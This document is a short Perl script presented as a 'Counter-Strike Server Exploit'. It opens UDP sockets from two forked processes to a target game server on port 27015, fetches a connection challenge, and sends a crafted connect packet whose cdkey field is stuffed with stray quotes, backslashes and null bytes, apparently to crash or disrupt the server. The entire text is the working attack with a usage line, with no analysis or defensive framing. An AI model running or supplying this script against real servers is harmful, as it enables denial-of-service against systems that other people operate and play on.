Counter-Strike Server Exploit

csse.pl

use IO::Socket;
die "perl cs21.pl <ip:port>" unless $ARGV[0];
if (fork()) {
	baglan($ARGV[0]);
} else {
	baglan($ARGV[0]); 
};
exit;
sub baglan($) {
	my $sunucu = $_[0];
	my $soket = new IO::Socket::INET(
		PeerAddr => $sunucu,
		PeerPort => '27015',
		Proto=>'udp'
	);
	die "Soket olusturulamadi: $!\n" unless $soket;
	$komut = "\xff\xff\xff\xff";
	syswrite $soket, $komut."getchallenge";
	sysread $soket, $b, 65535;
	print $b, "\n";
	@c = split(/ /,$b);
	$c2 = $c[1];
	$q = $komut."connect 47 $c2 \"\\prot\\4\\unique\\0\\raw\\valve\\cdkey\\f0ef8a36258af1bb64ed866538c9db76\"\"\\\"\0\0";
	print '>',$q,"\n";
	syswrite $soket, $q;
	sysread $soket,$b,65535;
	print $b,"\n";
	sleep 3;
	close $soket;
}